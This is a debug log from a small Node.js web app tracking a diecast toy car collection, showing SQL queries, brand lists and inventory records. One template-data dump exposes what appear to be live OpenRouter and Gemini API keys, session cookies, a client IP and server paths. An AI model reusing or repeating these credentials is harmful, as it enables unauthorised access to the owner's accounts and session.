  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 }
]
2026-02-04T06:39:38.507Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes-Benz', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 }
]
2026-02-04T06:39:38.508Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 2,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 84,
      model_name: 'Nissan Sentra 2016',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-22T18:30:00.000Z',
      price: '167.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T06:39:38.509Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-04T06:39:38.509Z server-connect:app Executing action step identify
2026-02-04T06:39:38.509Z server-connect:app options: { provider: 'security' }
2026-02-04T06:39:38.509Z server-connect:output identity: 1
2026-02-04T06:39:38.509Z server-connect:app Executing action step restrict
2026-02-04T06:39:38.509Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:39:38.509Z server-connect:output restrict: undefined
2026-02-04T06:39:38.509Z server-connect:app Executing action step select
2026-02-04T06:39:38.509Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T06:39:38.510Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes-Benz' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-04T06:39:38.510Z server-connect:app Executing action step select
2026-02-04T06:39:38.510Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T06:39:38.511Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-04T06:39:38.511Z server-connect:app Executing action step select
2026-02-04T06:39:38.511Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T06:39:38.512Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-04T06:39:41.029Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T06:39:41.029Z server-connect:app Executing action step identify
2026-02-04T06:39:41.029Z server-connect:app options: { provider: 'security' }
2026-02-04T06:39:41.029Z server-connect:output identity: 1
2026-02-04T06:39:41.029Z server-connect:app Executing action step restrict
2026-02-04T06:39:41.029Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:39:41.030Z server-connect:output restrict: undefined
2026-02-04T06:39:41.030Z server-connect:app Executing action step paged
2026-02-04T06:39:41.030Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T06:39:41.033Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 23,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 85,
      model_name: 'Masserti Grandturismo Folgore',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-28T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Masserti',
      vehicle_brand_id: 157,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 84,
      model_name: 'Nissan Sentra 2016',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-22T18:30:00.000Z',
      price: '167.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 83,
      model_name: 'Nissan Arya Pole to Pole 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-07T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 82,
      model_name: ' MBX Turf Hauler II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'MBX',
      vehicle_brand_id: 155,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 81,
      model_name: ' Dodge Durango 2018',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 80,
      model_name: 'Polaris RZR Pro R 4 Sport 2025',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Polaris ',
      vehicle_brand_id: 154,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 79,
      model_name: 'Subaru J WRX S4 STI 2024',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-15T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Subaru',
      vehicle_brand_id: 153,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 78,
      model_name: 'Ford E Transit 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 77,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 76,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 75,
      model_name: 'Volva 1986 240 Sedan',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 74,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 72,
      model_name: 'Alfa Romeo Duetto',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-22T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 71,
      model_name: '1966 Land Rover Gen 11 Safari',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 70,
      model_name: '1963 Ford Thunderbird',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 69,
      model_name: '22 Ford F 150 Lightning',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-08-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 59,
      model_name: 'Blaze bluster II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-09T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 58,
      model_name: 'Jeep Avenger 2024',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-01T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 57,
      model_name: 'Audi E Tron EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-01T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 56,
      model_name: 'Jeep Wagoneer 2022',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-08-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T06:40:18.306Z server-connect:router Serving templateView /diecast
2026-02-04T06:40:18.309Z server-connect:app Executing action step identify
2026-02-04T06:40:18.309Z server-connect:app options: { provider: 'security' }
2026-02-04T06:40:18.309Z server-connect:output identity: 1
2026-02-04T06:40:18.309Z server-connect:app Executing action step restrict
2026-02-04T06:40:18.309Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T06:40:18.310Z server-connect:output restrict: undefined
2026-02-04T06:40:18.310Z server-connect:router Render template layouts/main
2026-02-04T06:40:18.310Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { condition: '', manufacturer: '73' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: '*/*',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'empty',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'condition=&manufacturer=73',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: '*/*',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast'
}
2026-02-04T06:41:40.381Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T06:41:40.381Z server-connect:app Executing action step identify
2026-02-04T06:41:40.381Z server-connect:app options: { provider: 'security' }
2026-02-04T06:41:40.382Z server-connect:output identity: 1
2026-02-04T06:41:40.382Z server-connect:app Executing action step restrict
2026-02-04T06:41:40.382Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:41:40.383Z server-connect:output restrict: undefined
2026-02-04T06:41:40.383Z server-connect:app Executing action step condition
2026-02-04T06:41:40.383Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T06:41:40.383Z server-connect:app Executing action step insert
2026-02-04T06:41:40.384Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'diecast_cars',
    returning: 'id',
    query: 'insert into `diecast_cars` (`brand_id`, `case`, `condition`, `created_at`, `model_name`, `price`, `purchase_date`, `release_year`, `scale`, `series`, `vehicle_brand_id`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T06:41:40.385Z server-connect:output insert: { affected: 1, identity: 154 }
2026-02-04T06:41:40.385Z server-connect:app Executing action step condition
2026-02-04T06:41:40.385Z server-connect:app options: { if: '{{insert.identity}}', then: { steps: [ [Object], [Object] ] } }
2026-02-04T06:41:40.386Z server-connect:app Executing action step upload
2026-02-04T06:41:40.386Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T06:41:40.386Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T06:41:40.386Z server-connect:upload Process fields: 'images[]'
2026-02-04T06:41:40.386Z server-connect:upload Processing file: {
  name: 'Screenshot 2026-02-04 105336.jpg',
  data: <Buffer >,
  size: 112810,
  encoding: '7bit',
